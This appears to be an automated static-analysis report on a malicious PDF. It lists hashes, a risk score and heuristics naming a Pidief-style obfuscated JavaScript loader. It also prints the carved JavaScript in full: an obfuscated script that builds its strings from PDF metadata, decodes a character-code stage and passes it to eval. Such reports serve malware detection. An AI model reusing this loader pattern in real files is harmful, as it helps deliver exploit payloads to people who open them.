Malicious PDF — malware analysis report

Static analysis result for SHA-256 e7b5e14ac6bc9069…

MALICIOUS

PDF

44.6 KB Authoring application: substr First seen: 2026-05-08
MD5: 86cb6fe449034c108bd1fd9aa2801dac SHA-1: dfc2170c14b07bcf0c3031a77aae7ca0317548ce SHA-256: e7b5e14ac6bc9069bd9e1c9769f10f33a9349cc7dc04b1cc3a43f8446d5d3933
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFD0 487 bytes
SHA-256: 155b2d6ce6a7a7f92b7bf772d17176ecb1ef6181372e929a9d0dd759af2a6a9e
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+'v'+a[2]+t[0];
e=v[v]()[s];
wrfia=e(v[4]+'i'.concat(v[4],t));
q=wrfia[v](a.length-7,a.length+1);
d='String';
d+='.fr';
d+='o'+q;
guvv=e(e('d'));
sub=v[0];
sub+='ubject';
q=wrfia[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	dasvh = 1*(q[i]);
	i++;
	dasvh -= (-1)*(q[i]);
	s2 += guvv(dasvh);
	i++;
}
e(s2);

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